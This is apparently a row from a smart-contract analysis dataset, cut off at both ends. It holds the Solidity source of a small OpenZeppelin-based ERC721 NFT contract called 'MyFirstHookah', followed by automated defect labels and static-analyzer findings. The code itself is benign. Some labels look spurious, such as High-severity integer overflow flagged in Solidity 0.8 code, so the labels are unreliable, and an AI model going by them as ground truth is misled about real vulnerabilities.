"SOLIDITY_UPGRADE_TO_050", "line": 250, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 26, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 31, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 32, "severity": 1}] | [{"inputs":[{"internalType":"contract IHashes","name":"_hashes","type":"address"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"uint256","name":"_preSeasonMintFee","type":"uint256"},{"internalType":"uint256","name":"_normalSeasonMintFee","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"currentRolloutState","outputs":[{"internalType":"enum MedleyLimitedEditionPredicates.RolloutState","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"getTokenMintFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"_hashesTokenId","type":"uint256"}],"name":"isTokenEligibleToMint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"normalSeasonAllowlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"preSeasonAllowlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum MedleyLimitedEditionPredicates.RolloutState","name":"_rolloutState","type":"uint8"}],"name":"setCurrentRolloutState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_allowlist","type":"uint256[]"},{"internalType":"bool[]","name":"_enable","type":"bool[]"}],"name":"setNormalSeasonAllowlist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_allowlist","type":"uint256[]"},{"internalType":"bool[]","name":"_enable","type":"bool[]"}],"name":"setPreSeasonAllowlist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.6+commit.11564f7e | true | 1,000,000 | 000000000000000000000000d07e72b00431af84ad438ca995fd9a7f0207542d0000000000000000000000005780648fcf84eb5139cb4c79875acd527c0c7ddf00000000000000000000000000000000000000000000000006f05b59d3b200000000000000000000000000000000000000000000000000000de0b6b3a7640000 | Default | false | ||||
MyFirstHookah | 0x2a07964d3b3e6a39a242e02092500a593fb7550f | Solidity | // File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: hookah.sol
pragma solidity ^0.8.11;
contract MyFirstHookah is ERC721, Ownable {
using Address for address;
using Strings for uint256;
string internal _baseTokenURI;
uint256 public constant MAX_SUPPLY = 15;
uint256 public constant MINT_PRICE = 1 ether;
uint256 public currentSupply = 0;
constructor(string memory baseTokenURI) ERC721("My First Hookah", "HOOKAH") {
_baseTokenURI = baseTokenURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseTokenURI(string memory URI) public onlyOwner {
_baseTokenURI = URI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function mint() external payable {
require(currentSupply < MAX_SUPPLY, "Would exceed maximum supply of tokens");
require(msg.value == MINT_PRICE, "Not enough ETH sent");
_mint(msg.sender, currentSupply);
currentSupply += 1;
}
function withdraw() public onlyOwner {
Address.sendValue(payable(owner()), address(this).balance);
}
} | [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["258"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["46", "24", "1079"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["644"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1039", "1065", "1054", "648", "412", "953"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1124", "867", "922", "921", "891"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [280, 281, 282, 283]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [105, 106, 107]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [976, 977, 978]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"MyFirstHookah.sol": [1088]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MyFirstHookah.sol": [268, 269, 270, 